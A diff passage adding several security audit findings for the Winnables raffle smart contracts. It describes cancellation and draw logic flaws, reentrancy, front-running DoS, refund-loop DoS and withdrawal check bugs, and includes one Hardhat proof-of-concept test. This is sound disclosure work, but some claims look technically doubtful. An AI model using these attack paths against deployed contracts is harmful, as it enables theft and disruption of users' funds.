before a raffle can draw a winner. Two internal functions handle the drawing and cancellation conditions: + +1. **`_checkShouldDraw`:** + ```solidity + if (currentTicketSold < raffle.minTicketsThreshold) revert TargetTicketsNotReached(); + ``` + This function checks if the raffle has reached the required number of tickets to be drawable. + +2. **`_checkShouldCancel`:** + ```solidity + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + ``` + This function checks if the raffle can be canceled if the ticket supply is below the threshold. + +The issue is that when `supply` equals `minTicketsThreshold`, the checks pass in both functions, causing the raffle to be both cancellable and drawable. However, if the `minTicketsThreshold` is met, the raffle should not be canceled and should instead be drawn. + +## Proof of Concept (PoC) +```javascript +const { ethers } = require('hardhat'); +const { expect } = require('chai'); +const helpers = require('@nomicfoundation/hardhat-network-helpers'); + +const { + getWalletWithEthers, blockTime, timeSeconds, +} = require('./common/utils'); +const { ccipDeployTicketManager } = require('../utils/demo'); +const { randomWord } = require('./common/chainlink'); +const { whileImpersonating } = require('../utils/impersonate'); +const { BigNumber } = require('ethers'); + +ethers.utils.Logger.setLogLevel(ethers.utils.Logger.levels.ERROR); + +describe('CCIP Ticket Manager', () => { + let ccipRouter; + let link; + let signers; + let manager; + let tickets; + let approver; + let winnablesDeployer; + let nft; + let token; + let api; + let snapshot; + let counterpartContractAddress; + let coordinator; + let badReceiver; + let goodReceiver; + + before(async () => { + signers = await ethers.getSigners(); + const result = await ccipDeployTicketManager(); + approver = result.approver; + winnablesDeployer = signers[0]; + link = result.link; + manager = result.ticketManager; + nft = result.nft; + token = result.token; + tickets = result.ticket; + ccipRouter = result.ccipRouter; + coordinator = result.coordinator; + api = await getWalletWithEthers(); + await (await manager.setRole(api.address, 1, true)).wait(); + counterpartContractAddress = signers[1].address; + const badReceiverFactory = await ethers.getContractFactory('ERC1155BadReceiver'); + const goodReceiverFactory = await ethers.getContractFactory('ERC1155Receiver'); + badReceiver = await badReceiverFactory.deploy(); + goodReceiver = await goodReceiverFactory.deploy(); + }); + describe('Successful raffle flow', () => { + before(async () => { + snapshot = await helpers.takeSnapshot(); + }); + + after(async () => { + await snapshot.restore(); + }); + const buyers = []; + + it('shouldCancel and shouldDraw at the same time', async () => { + await (await link.mint(manager.address, ethers.utils.parseEther('100'))).wait(); + await (await manager.setCCIPCounterpart(counterpartContractAddress, 1, true)).wait(); + await whileImpersonating(ccipRouter.address, ethers.provider, async (signer) => + manager.connect(signer).ccipReceive({ + messageId: ethers.constants.HashZero, + sourceChainSelector: 1, + sender: '0x' + counterpartContractAddress.slice(-40).padStart(64, '0'), + data: '0x0000000000000000000000000000000000000000000000000000000000000001', + destTokenAmounts: [] + }) + ); + const now = await blockTime(); + await manager.createRaffle( + 1, + now, + now + timeSeconds.hour, + 200, + 1000, + 100 + ); + for (let i = 0; i < 2; i++) { + const buyer = await getWalletWithEthers(); + const currentBlock = await ethers.provider.getBlockNumber(); + const sig = await api.signMessage(ethers.utils.arrayify( + ethers.utils.solidityKeccak256(['address', 'uint256', 'uint256', 'uint16', 'uint256', 'uint256'], [ + buyer.address, + 0, + 1, + 100, + currentBlock + 10, + 100 + ]))); + await (await manager.connect(buyer).buyTickets(1, 100, currentBlock + 10, sig, { value: 100 })).wait(); + buyers.push(buyer); + const { totalSpent, totalPurchased, withdrawn } = await manager.getParticipation(1, buyer.address); + expect(totalSpent).to.eq(100); + expect(totalPurchased).to.eq(100); + expect(withdrawn).to.eq(false); + } + await helpers.time.increase(3601); + const shouldCancel = await manager.shouldCancelRaffle(1); + const shouldDraw = await manager.shouldDrawRaffle(1); + // when minTicketsThreshold filled, it shouldn't canceled, due to lack of logic now it could cancel and draw at the same time + expect(shouldCancel).to.eq(shouldDraw); + await manager.cancelRaffle(counterpartContractAddress, 1, 1); + }); + }); +}); +``` + +In this test, when the `minTicketsThreshold` is filled, both cancellation and drawing are allowed due to the flawed logic. + +## Impact + +The vulnerability allows a raffle to be closed when it should be drwan, the impact is on users and admin as they locked their prize or eth and wait untill end of raffle, at end instead of drawing it could canceled. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L422 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434 + +## Tool Used + +Manual Review + +## Recommendation + +Update the `_checkShouldCancel` function to account for cases where the ticket supply is equal to `minTicketsThreshold`. This prevents simultaneous cancellation and drawing: + +```diff +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); +- if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); ++ if (supply >= raffle.minTicketsThreshold) revert TargetTicketsReached(); +} +``` diff --git a/001/115.md b/001/115.md new file mode 100644 index 0000000..b23ac8e --- /dev/null +++ b/001/115.md @@ -0,0 +1,66 @@ +Clumsy Blue Scorpion + +Medium + +# [Medium] WinnablesPrizeManager.sol reentrancy attack + +### Summary + +The missing reentrancy guard in WinnablesPrizeManager.sol will cause a complete loss of funds for the protocol as an attacker will re-enter the claimPrize function to drain the contract’s balance. + +### Root Cause + +In [WinnablesPrizeManager.sol:207](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L142-L162), there is a missing reentrancy guard on the claimPrize function, allowing multiple calls before state changes are committed. + +```solidity + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` + +### Internal pre-conditions + +1. The attacker needs to have won a raffle (rafflePrize.winner) to set msg.sender to be the authorized claimer. +2. The rafflePrize.status must be NOT_CLAIMED. +3. The _ethLocked, must have sufficient balance to fulfill the prize. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The attacker calls claimPrize() and passes the conditions to claim the prize. +2. In the process of claiming, the contract sends the prize (ETH) to the attacker’s address. +3. During the prize transfer, the attacker’s contract re-enters the claimPrize() function by leveraging the receive() fallback function. +4. The contract has not yet marked the raffle as claimed (rafflePrize.status = RafflePrizeStatus.CLAIMED), so the attacker can call claimPrize() multiple times in quick succession. +5. The attacker drains the contract’s balance by continuously re-entering the function. + +### Impact + +The protocol suffers a complete loss of all funds locked in raffles. The attacker gains the entire value of all the prizes that were meant to be distributed to winners. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/001/116.md b/001/116.md new file mode 100644 index 0000000..4552b4c --- /dev/null +++ b/001/116.md @@ -0,0 +1,44 @@ +Faithful Lemonade Penguin + +Medium + +# Raffle Cancellation Vulnerability Allows Denial of Service (DOS) Attack + +## Summary + +The `cancelRaffle` function in the `WinnablesTicketManager` contract contains a vulnerability that allows any user to cancel raffles that are not yet started. This opens the door for malicious users to conduct a Denial of Service (DOS) attack, where they can cancel all raffles, preventing the protocol from operating as intended. + +## Vulnerability Detail + +The `_checkShouldCancel` function determines whether a raffle is eligible for cancellation based on several conditions. One of these conditions checks whether the raffle's status is `PRIZE_LOCKED`: + +```solidity +if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; +``` + +This check allows any user to cancel a raffle as long as it is in the `PRIZE_LOCKED` status. The issue here is that a malicious user can abuse this function to cancel raffles that are not yet started, which could prevent raffles from being executed. + +Since there is no restriction on who can invoke this function, this vulnerability can be exploited to DOS the protocol by canceling all raffles before they can start. + +## Impact + +A malicious user could effectively DOS the protocol by canceling all raffles, preventing any raffles from starting. This could severely disrupt the protocol's operation and cause significant financial loss to both the protocol and its users. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434 + +## Tool Used + +Manual Review + +## Recommendation + +Modify the `_checkShouldCancel` function to ensure that only the admin or owner can cancel a raffle that has not yet started: + +```solidity +if (raffle.status == RaffleStatus.PRIZE_LOCKED && msg.sender == ADMIN) return; +``` + +This additional check will prevent unauthorized users from canceling raffles and ensure that only trusted accounts can cancel raffles that have not yet started. diff --git a/001/117.md b/001/117.md new file mode 100644 index 0000000..2083c32 --- /dev/null +++ b/001/117.md @@ -0,0 +1,93 @@ +Faithful Lemonade Penguin + +Medium + +# Admin can prevent users from claiming their rewards if the prize token is LINK + +## Summary +An admin can unintentionally or intentionally prevent a winner from claiming their LINK token prize by allowing the contract's LINK balance to drop below the locked amount, violating the rule that winners must always be able to withdraw their rewards + +## Vulnerability Detail +According to the [rules of this contest](https://audits.sherlock.xyz/contests/516): +> The principles that must always remain true are: +> - Winnables admins cannot do anything to prevent a winner from withdrawing their prize + +However, if the prize token of a Raffle is the LINK token, an admin can, either intentionally or unintentionally, prevent the winner from claiming their reward. This occurs because the `_sendCCIPMessage` function reduces the fee from the amount that is locked for the Raffle, resulting in `linkToken.balanceOf(address(this)) < _tokensLocked[LINK]` and ultimately preventing the winner from claiming their reward. +```solidity + uint256 fee = router.getFee( + ccipDestChainSelector, + message + ); + uint256 currentLinkBalance = linkToken.balanceOf(address(this)); + + if (fee > currentLinkBalance) { + revert InsufficientLinkBalance(currentLinkBalance, fee); + } +``` + +For better understanding, let's consider an example scenario: + +- The admin transfers some LINK (let's say 2 LINK) to the `WinnablesPrizeManager.sol` to pay for fees. +- The admin locks 100 LINK to create a Raffle (the prize token for this Raffle is LINK). +- The admin also creates other Raffles, locking more NFTs, ETH, and tokens, which requires paying additional fees. +- These transactions result in 3 LINK being spent on fees—2 LINK from the amount that was deposited to pay for the fees plus 1 LINK deducted from the 100 LINK that was locked for the Raffle. +- Now, although the Raffle prize was initially set at 100 $LINK, the contract balance is only 99 LINK. +- When the winner calls the `claim` function, their transaction reverts because there is not enough LINK available to send to the winner. + +An admin can do the above scenario either intentionally or unintentionally. + +Despite the assumption that: + +> Admins will always keep LINK in the contracts (to pay for CCIP Messages), + +The implemented logic in the protocol allows an admin to prevent the winner from claiming their reward, which contradicts one of the principles: + +> Winnables admins cannot do anything to prevent a winner from withdrawing their prize. + +## Impact +Admin can prevent winners from getting their rewards which contradicts the principle: + - Winnables admins cannot do anything to prevent a winner from withdrawing their prize. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPSender.sol#L42 + +## Tool used + +Manual Review + +## Recommendation +Do not deduct fee from the prize amount: +```diff + function _sendCCIPMessage( + address ccipDestAddress, + uint64 ccipDestChainSelector, + bytes memory data, ++ uint256 lockedLink + ) internal returns (bytes32 messageId) { + if (ccipDestAddress == address(0) || ccipDestChainSelector == uint64(0)) { + revert MissingCCIPParams(); + } + + // Send CCIP message to the desitnation contract + IRouterClient router = IRouterClient(CCIP_ROUTER); + LinkTokenInterface linkToken = LinkTokenInterface(LINK_TOKEN); + + Client.EVM2AnyMessage memory message = Client.EVM2AnyMessage({ + receiver: abi.encode(ccipDestAddress), + data: data, + tokenAmounts: new Client.EVMTokenAmount[](0), + extraArgs: "", + feeToken: LINK_TOKEN + }); + + uint256 fee = router.getFee(ccipDestChainSelector, message); + uint256 currentLinkBalance = linkToken.balanceOf(address(this)); +- if (fee > currentLinkBalance) { ++ if (fee > (currentLinkBalance - lockedLink)) { + //special case token link + revert InsufficientLinkBalance(currentLinkBalance, fee); + } + + messageId = router.ccipSend(ccipDestChainSelector, message); + } +``` \ No newline at end of file diff --git a/001/118.md b/001/118.md new file mode 100644 index 0000000..f751c56 --- /dev/null +++ b/001/118.md @@ -0,0 +1,54 @@ +Prehistoric Metal Rabbit + +Medium + +# Raffles can be instantly cancelled by anyone as soon as they are created + +### Summary + +Incorrect validation in `_checkShouldCancel` will cause anyone to be able to cancel a raffle as soon as they are created. + +### Root Cause + +Let us examine the `_checkShouldCancel` function: + +```solidity +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; // @audit this will successfully cancel a raffle + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); +} +``` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434 + +When a raffle is created, the admin has to lock the prize on the Ethereum Mainnet first, then send a CCIP message to Avalanche. Once the Avalanche side receives the info, the raffle is marked as `PRIZE_LOCKED`, after which the admin can create the raffle. + +However, as shown above, a raffle is cancellable when the status is `PRIZE_LOCKED`. Then anyone can just cancel the raffle before it is created, preventing any raffle from taking place at all. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Described in Root Cause + +### Impact + +Anyone can cancel a raffle before it is created, bricking the protocol entirely. + +### PoC + +_No response_ + +### Mitigation + +Cancelling on `PRIZE_LOCKED` should only be possible by the admin, when the raffle has not started yet. \ No newline at end of file diff --git a/001/120.md b/001/120.md new file mode 100644 index 0000000..4eeebd6 --- /dev/null +++ b/001/120.md @@ -0,0 +1,47 @@ +Faithful Lemonade Penguin + +Medium + +# Cancel Raffle Functionality Does Not Consider Start Time + +## Summary +The `cancelRaffle` function allows anyone to cancel a raffle based on the `_checkShouldCancel` function. However, this function does not account for the raffle's start time, meaning that a raffle owner cannot cancel the raffle before it starts. This oversight could prevent the owner from making adjustments to the raffle in response to changing market conditions before it begins. + +## Vulnerability Detail +The `_checkShouldCancel` function currently checks if the raffle should be canceled based on the following conditions: +```solidity +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); +} +``` +However, the logic does not consider the raffle's start time. If a raffle is scheduled to start 10 days later, the owner cannot cancel it until the end time is reached, which could be 10 days plus the raffle's duration. This restriction is problematic if the raffle has not yet started that means no tickets have been sold, as the owner might want to modify or cancel the raffle due to market changes or other considerations. + +## Impact +The current logic prevents the owner from canceling raffles that have not started yet. This can cause operational issues for the owner, particularly in volatile market conditions where changes to the raffle's parameters might be necessary before it begins. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434 + +## Tool used +Manual Review + +## Recommendation +Allow the owner to cancel raffles that have not started yet, as no one has purchased any tickets. This can be achieved by modifying the `_checkShouldCancel` function to include a check for the raffle's start time: + +```diff +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); ++ if (raffle.startsAt > block.timestamp && msg.sender == ADIMN) return; + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); +} +``` +This adjustment will allow the owner to cancel the raffle before it starts. diff --git a/001/121.md b/001/121.md new file mode 100644 index 0000000..39bf685 --- /dev/null +++ b/001/121.md @@ -0,0 +1,42 @@ +Tart Clay Hippo + +Medium + +# WinnablesTicketManager.sol#refundPlayers - Malisious user can DoS the refund + +## Summary +The `refundPlayers` sends all participations refund in for loop that allows a malisious user to revert the whole transaction and make the users unable to get their funds. + +## Vulnerability Detail +If a raffle is canceled there is a function to be called to refund the users' participation. It sends ETH to the users in a for loop that allows DoS. +```js + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + + for (uint256 i = 0; i < players.length;) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { + ++i; + } + } + } +``` +A user can make a contract with malisious code in his receive function to make the whole transaction to revert and other users unable to claim their funds. + +## Impact +Users unable to claim their funds. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228 +## Tool used + +Manual Review +## Recommendation + +Make the function param only one user, not array and make it callable only by the user. \ No newline at end of file diff --git a/001/122.md b/001/122.md new file mode 100644 index 0000000..c9575e4 --- /dev/null +++ b/001/122.md @@ -0,0 +1,43 @@ +Expert Cloud Goldfish + +High + +# Account Abstraction wallet cant claim prize + +### Summary + +If the winner is a smart contract implementing account abstraction, it might not be able to claim the prize as they might not own the same address in Ethereum mainnet. + + +### Root Cause + +Account abstraction wallets can have different addresses in different chains. A smart contract address implementing account abstraction in Avalanche might not be owned by the same person in Ethereum mainnet. + +### Internal pre-conditions + +Does not apply. + +### External pre-conditions + +Does not apply. + +### Attack Path + +1. _AA_ (Account Abstraction) wallet buys points and they are minted to `msg.sender`. +2. _AA_ wallet wins a prize. +3. The prize is `propagateRaffleWinner()` which will use as winner the `msg.sender` saved on `_ticketOwnership` map on the `WinnablesTicket` contract to set that address as the winner on Ethereum through CCIP. +4. CCIP is successful and the winner is set on Ethereum. However that address might be owned by no-one or someone else. + +### Impact + +Someone else wins the lottery or even worse funds are stuck there forever until someone manages to figure out a way of getting that address in Ethereum. This can be forever. + +### PoC + +The winner in `propagateRaffleWinner()` is taken from the `_ticketOwnership` map on the `WinnablesTicket` contract trhough the `ownerOf()`. See [here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L338), then [here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L476), and then [here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L100). + +This value was set as `msg.sender` when minting the tokens through the `buyTickets()` [here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L208). See minting function [here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L194). + +### Mitigation + +Allow the winner to chose a destination address before propagating. \ No newline at end of file diff --git a/001/125.md b/001/125.md new file mode 100644 index 0000000..19996af --- /dev/null +++ b/001/125.md @@ -0,0 +1,42 @@ +Tart Clay Hippo + +High + +# WinnablesTicketManager.sol#withdrawTokens - Wrong check does not allow tokens withdraw + +## Summary +WinnablesTicketManager.sol#withdrawTokens - Wrong check does not allow tokens withdraw + +## Vulnerability Detail +`withdrawTokens` function allows admin to withdraw accidentally sent token. +```js + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + if (amount < balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` +If the `amout` is less than the balance, it will revert with the `InsufficientBalance` error. It should check if `amount > balance` because then there won't be enough balance. + +The transaction won't revert only if `amount == balance` but a malisious user can front-run the withdraw and sent minimum amount of the token to make it fail. + +## Impact +Stuck of funds. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L292-L297 +## Tool used + +Manual Review + +## Recommendation +```diff + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); +- if (amount < balance) revert InsufficientBalance(); ++ if (amount > balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` \ No newline at end of file diff --git a/001/126.md b/001/126.md new file mode 100644 index 0000000..816d574 --- /dev/null +++ b/001/126.md @@ -0,0 +1,78 @@ +Delightful Inky Panda + +Medium + +# raffle is both drawable and cancelable when currentTicketSold = minTicketsThreshold + +## Summary + +Now there's a game-theory issue in the protocol: a raffle is both drawable and cancelable when `currentTicketSold = minTicketsThreshold`. This issue enables an attacker to force cancel a lottery that should have drawn results + +## Vulnerability Detail + +`WinnablesTicketManager.sol`: + +```solidity + function _checkTicketPurchaseable(uint256 raffleId, uint256 ticketCount) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.start sAt > block.timestamp) revert RaffleHasNotStarted(); + if (raffle.status != RaffleStatus.IDLE) revert RaffleHasEnded(); + if (block.timestamp > raffle.endsAt) revert RaffleHasEnded(); + uint256 ticketPurchased = uint256(uint32(uint256(raffle.participations[msg.sender]) >> 128)); + unchecked { + if (ticketPurchased + ticketCount > raffle.maxHoldings) revert TooManyTickets(); + } + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + unchecked { + if (supply + ticketCount > raffle.maxTicketSupply) revert TooManyTickets(); + } + } + + function _checkShouldDraw(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + uint256 currentTicketSold = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (currentTicketSold == 0) revert NoParticipants(); + + if (block.timestamp < raffle.endsAt) { + if (currentTicketSold < raffle.maxTicketSupply) revert RaffleIsStillOpen(); + } + if (currentTicketSold < raffle.minTicketsThreshold) revert TargetTicketsNotReached(); + } + + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` + +From the logic above, we can conclude that: + +1. when `block.timestamp >= raffle.endsAt`, the raffle is both drawable and cancelable. +2. when `currentTicketSold == minTicketsThreshold`, the raffle is both drawable and cancelable. + +In terms of game theory, we are in an awkward situation -- A raffle that should have been cancelled can be drawn, a raffle that should have been drawn can be cancelled. This means that an attacker can deprive participants' right to earn a reward by calling `cancelRaffle`. + +## Impact + +impact: medium - A raffle that should have been cancelled can be drawn, a raffle that should have been drawn can be cancelled. + +likelihood: medium - this situation happens everytime when `currentTicketSold = minTicketsThreshold`. + +Severity: boardline medium + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434 + +## Tool used + +Manual Review + +## Recommendation + +`shouldDrawRaffle` and `shouldCancelRaffle` should never return true at same time. \ No newline at end of file diff --git a/001/128.md b/001/128.md new file mode 100644 index 0000000..0066b43 --- /dev/null +++ b/001/128.md @@ -0,0 +1,69 @@ +Blunt Smoke Crane + +High + +# Creation of raffles can be DOSed, making the whole protocol obsolete + +### Summary + +An admin of the Winnables protocol can create a raffle by first calling the [lockNFT()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L148-L165), [lockETH()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L172-L188), or the [lockTokens()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L196-L213) functions in order to lock the prize that the winner of the raffle will receive. Then a CCIP message will be sent to the ``WinnablesTicketManager.sol`` contract, and set the **RaffleStatus** for the raffle id to **PRIZE_LOCKED**. +```solidity + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + (uint256 raffleId) = abi.decode(message.data, (uint256)); + ... + _raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED; + ... + } +``` +However anybody can call the [cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288) function in order to cancel a raffle, and the [cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288) function internally calls the [_checkShouldCancel()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434-L441) function: + +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` +As can be seen from the above code snippet if the **RaffleStatus** is **PRIZE_LOCKED** every raffle can be canceled. Everybody can call the [cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288) function immediately after the CCIP message for starting the process of setting up a raffle is received by the ``WinnablesTicketManager.sol`` contract. + +### Root Cause + +A malicious actor can frontrun the admin and can call the [cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288) function immediately after the CCIP message for starting the process of setting up a raffle is received by the ``WinnablesTicketManager.sol`` contract, and thus cancel all raffles before an admin can call the [createRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L252-L274) function and add the required parameters for a raffle. + +### Internal pre-conditions + +1. An admin calls either the [lockNFT()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L148-L165), [lockETH()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L172-L188), or the [lockTokens()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L196-L213) functions in order to lock the prize that the winner of the raffle will receive. +2. The ``WinnablesTicketManager.sol`` contract receives a call from the CCIP Router, and the [_ccipReceive()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L365-L388) function sets the **RaffleStatus** for raffle with id 1 to **PRIZE_LOCKED** + +### External pre-conditions + +_No response_ + +### Attack Path + +1. An admin calls either the [lockNFT()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L148-L165), [lockETH()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L172-L188), or the [lockTokens()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L196-L213) functions in order to lock the prize that the winner of the raffle will receive. +2. The ``WinnablesTicketManager.sol`` contract receives a call from the CCIP Router, and the [_ccipReceive()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L365-L388) function sets the **RaffleStatus** for raffle with id 1 to **PRIZE_LOCKED** +```solidity +_raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED; +``` +3. A malicious users can monitor the mempool on Avalance and can immediately call the [cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288) function, even if the admin tried to call the [createRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L252-L274) function in order to fully set up the raffle, the malicious user can frontrun him. (NOTE: calling [cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288) with and arbitrary **prizeManager** is a separate vulnerability) + +### Impact + +Given the fact that the sole purpose of the Winnables protocol is to create raffles, dosing the creation of raffles makes the whole protocol obsolete, thus 